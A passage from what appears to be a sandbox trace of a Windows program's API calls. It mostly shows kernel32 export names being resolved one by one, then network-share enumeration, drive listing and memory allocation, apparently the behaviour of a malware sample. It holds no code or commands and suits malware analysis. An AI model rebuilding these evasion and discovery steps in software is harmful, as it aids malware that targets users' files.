lpString1=0x21fe3c4, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0068.772] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0068.772] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0068.772] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0068.772] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0068.772] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0068.772] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0068.772] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0068.772] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0068.772] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0068.772] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0068.772] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0068.772] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0068.772] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0068.772] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0068.772] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0068.772] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0068.772] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0068.772] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0068.773] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0068.773] lstrlenA (lpString="COPYCONTEXT") returned 11 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0068.773] lstrlenA (lpString="COPYFILE2") returned 9 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0068.773] lstrlenA (lpString="COPYFILEA") returned 9 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0068.773] lstrlenA (lpString="COPYFILEEXA") returned 11 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0068.773] lstrlenA (lpString="COPYFILEEXW") returned 11 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0068.773] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0068.773] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0068.773] lstrlenA (lpString="COPYFILEW") returned 9 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0068.773] lstrlenA (lpString="COPYLZFILE") returned 10 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0068.773] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0068.773] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0068.773] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0068.773] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0068.773] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0068.773] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0068.773] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0068.773] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0068.774] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0068.774] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0068.774] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0068.774] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0068.774] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0068.774] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0068.774] lstrlenA (lpString="CREATEEVENTA") returned 12 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0068.774] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0068.774] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0068.774] lstrlenA (lpString="CREATEEVENTW") returned 12 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0068.774] lstrlenA (lpString="CREATEFIBER") returned 11 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0068.774] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0068.774] lstrlenA (lpString="CREATEFILE2") returned 11 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0068.774] lstrlenA (lpString="CREATEFILEA") returned 11 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0068.774] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0068.774] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0068.774] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0068.774] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0068.775] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0068.775] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0068.775] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0068.775] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0068.775] lstrlenA (lpString="CREATEFILEW") returned 11 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0068.775] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0068.775] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0068.775] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0068.775] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0068.775] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0068.775] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0068.775] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0068.775] lstrlenA (lpString="CREATEJOBSET") returned 12 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0068.775] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0068.775] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0068.775] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0068.775] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0068.775] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0068.775] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0068.776] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0068.776] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0068.776] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0068.776] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0068.776] lstrlenA (lpString="CREATEPIPE") returned 10 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0068.776] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0068.776] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0068.776] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0068.776] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0068.776] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0068.776] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0068.776] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0068.776] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0068.776] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0068.776] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0068.776] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0068.776] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0068.776] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0068.777] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0068.777] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0068.777] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0068.777] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0068.777] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0068.777] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0068.777] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0068.777] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0068.777] lstrlenA (lpString="CREATETHREAD") returned 12 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0068.777] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0068.777] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0068.777] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0068.777] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0068.777] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0068.777] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0068.777] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0068.777] lstrcpyA (in: lpString1=0x21fe3c4, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0068.781] WNetCloseEnum (hEnum=0x699678) returned 0x0 [0068.781] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0068.783] WNetEnumResourceW (in: hEnum=0x68d6a8, lpcCount=0x21ff088, lpBuffer=0x2a30000, lpBufferSize=0x21ff080 | out: lpcCount=0x21ff088, lpBuffer=0x2a30000, lpBufferSize=0x21ff080) returned 0x0 [0068.783] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x2a30000, lphEnum=0x21ff054 | out: lphEnum=0x21ff054*=0x3000) returned 0x4b8 [0083.227] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.228] WNetEnumResourceW (in: hEnum=0x68d6a8, lpcCount=0x21ff088, lpBuffer=0x2a30000, lpBufferSize=0x21ff080 | out: lpcCount=0x21ff088, lpBuffer=0x2a30000, lpBufferSize=0x21ff080) returned 0x0 [0083.228] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x13, lpNetResource=0x2a30000, lphEnum=0x21ff054 | out: lphEnum=0x21ff054*=0x3000) returned 0x4c6 [0083.230] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.230] WNetEnumResourceW (in: hEnum=0x68d6a8, lpcCount=0x21ff088, lpBuffer=0x2a30000, lpBufferSize=0x21ff080 | out: lpcCount=0x21ff088, lpBuffer=0x2a30000, lpBufferSize=0x21ff080) returned 0x103 [0083.231] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.231] WNetCloseEnum (hEnum=0x68d6a8) returned 0x0 [0083.231] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.231] GetLogicalDriveStringsW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x5 [0083.231] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x2a30000 [0083.232] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.232] GetLogicalDriveStringsW (in: nBufferLength=0x5, lpBuffer=0x2a30000 | out: lpBuffer="C:\\") returned 0x4 [0083.232] lstrlenA (lpString="kernel32.dll") returned 12 [0083.232] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0083.232] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0083.232] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0083.233] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0083.233] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0083.233] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0083.233] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0083.233] lstrcpyA (in: lpString1=0x21fe40c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0083.233] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0083.233] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0083.233] lstrlenA (lpString="ADDATOMA") returned 8 [0083.233] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0083.233] lstrlenA (lpString="ADDATOMW") returned 8 [0083.233] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0083.233] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0083.233] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0083.233] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0083.233] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0083.233] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0083.233] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0083.233] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0083.233] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0083.233] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0083.234] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0083.234] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0083.234] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0083.234] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0083.234] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0083.234] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0083.234] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0083.234] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0083.234] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0083.234] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0083.234] lstrcpyA (in: lpString1=0x21fe40c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" 